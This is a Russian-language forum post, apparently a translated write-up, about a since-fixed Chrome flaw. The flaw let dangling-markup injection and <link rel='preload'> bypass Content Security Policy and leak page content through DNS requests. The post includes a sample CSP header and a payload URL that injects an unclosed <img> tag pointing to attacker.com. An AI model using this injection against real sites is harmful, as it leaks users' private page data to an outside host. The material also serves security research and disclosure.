Перейти к содержимому
GTA-003

Обход политики безопасности контента в Chrome через предзагрузку ссылки

Recommended Posts

В этой заметке мы поговорим об уязвимости, найденной  некоторое время назад в браузере Chrome и позволяющей обходить политику безопасности контента (Content Security Policy; CSP). Помимо обхода CSP эта брешь позволяет реализовать информационную утечку у соединения по протоколу SSL/TLS. Об этой проблеме было сообщено пару лет назад и после исправления я решил стряхнуть пыль с этой статьи, внести кое-какие корректировки и поделиться с вами полезной информацией.

CSP представляет собой конфигурацию, передаваемую браузерам через протокол HTTP, и позволяет создавать белые списки источников «активного» контента (в частности скриптов) для защиты от межсайтового скриптинга. Политика безопасности устанавливает правила получения ресурсов и в целом любых HTTP-транзакций с хостом. Типичная конфигурация CSP выглядит так:

content-security-policy:
default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net*.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.net fbcdn-static-b-a.akamaihd.net *.atlassolutions.com blob: data: 'self' *.m-freeway.com;style-src data: blob: 'unsafe-inline' *;connect-src *.facebook.com*.fbcdn.net *.facebook.net *.spotilocal.com:* *.akamaihd.net wss://*.facebook.com:*https://fb.scanandcleanlocal.com:* *.atlassolutions.com attachment.fbsbx.comws://localhost:* blob: *.cdninstagram.com 'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafd chrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;

В заголовке выше перечислены типы информации и атрибуты, защищаемые от получения из неавторизованных источников. Когда браузер пытается запросить активные скрипты, указанные в документе, происходит проверка на предмет соответствия c правилами веб-сервера.

После ознакомления с механикой CSP рассмотрим случаи, когда CSP не работает, и исследования этой технологии от специалистов в области безопасности. Сотрудник Google, известный под именем lcamptuf, написал о реализации разных пакостей с объектной моделью документа (DOM) и содержимом страницы даже в случае, когда настроена политика безопасности контента. По сути, была сделана попытка ответить на следующий вопрос:

Как будут выглядеть атаки, если политика будет настроена должным образом?

Среди представленных техник была идея «инъекции висячего контента». Прекрасная концепция против браузеров с идеальными настройками безопасности. В подобного рода атаках, связанных с инъекциями висячего контента, мы внедряем некорректный HTML-тег и ожидаем, что браузер дополнит конструкцию, интерпретируя содержимое, находящееся вокруг тега. По сути, внедрение подобного рода принуждает браузер использовать содержимое страницы как часть тега: разметки, картинок, text area и так далее.

На первый взгляд подобные манипуляции, связанные с нарушением функциональности веб-страницы, кажутся безобидными, однако, как выясняется, могут возникнуть серьезные проблемы безопасности.

Рассмотрим конкретный пример. На рисунке ниже показана страница для реализации атаки с использованием некорректных тегов:

QDGeKnLwcQE.jpg
 
 
Пример инъекции некорректного тега

В страницу, показанную выше, добавлен тег <img> с полезной нагрузкой:

https://[domain]/[path]?query=<img src="https://attacker.com

Поскольку тег <img> испорчен, Chrome попытается исправить ситуацию посредством смежной страницы, являющейся частью URL и имени домена в теге <img>. В итоге Chrome попытается воспользоваться именем домена. Единственное, что портит всю малину – CSP, и нам нужна ссылка для преобразования DNS-имени внутри содержимого страницы.

Найденная мной уязвимость связана с поведением тега <link>, а конкретно с конструкцией <link rel=’preload’ href=’’ />. Эти теги используются в «механизмах связывания суб-ресурсов» и позволяют связывать документы вместе для совместного использования JavaScript, CSS, шрифтов и так далее. Кроме того, браузер будет предварительно преобразовать имена доменов перед загрузкой страницы. Для этой цели и нужны теги ссылок с атрибутом preload.

На рисунке ниже показан DNS-трафик, генерируемый испорченным тегом с предзагрузкой ссылок, внедренным в защищенную страницу. Вы можете заметить некоторые ключевые HTML-слова в DNS-именах:

  Трафик, генерируемый во время использования тегов с предзагрузкой ссылок

На рисунке выше видно, как информация, ранее зашифрованная в TLS-потоке, теперь передается в незащищенном виде через DNS-запросы. Вероятно, не очень полезная фича J.

На сегодня все. Успешного хакинга!

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

и зачем? 

Поделиться сообщением


Ссылка на сообщение
Поделиться на других сайтах

Создайте аккаунт или войдите для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×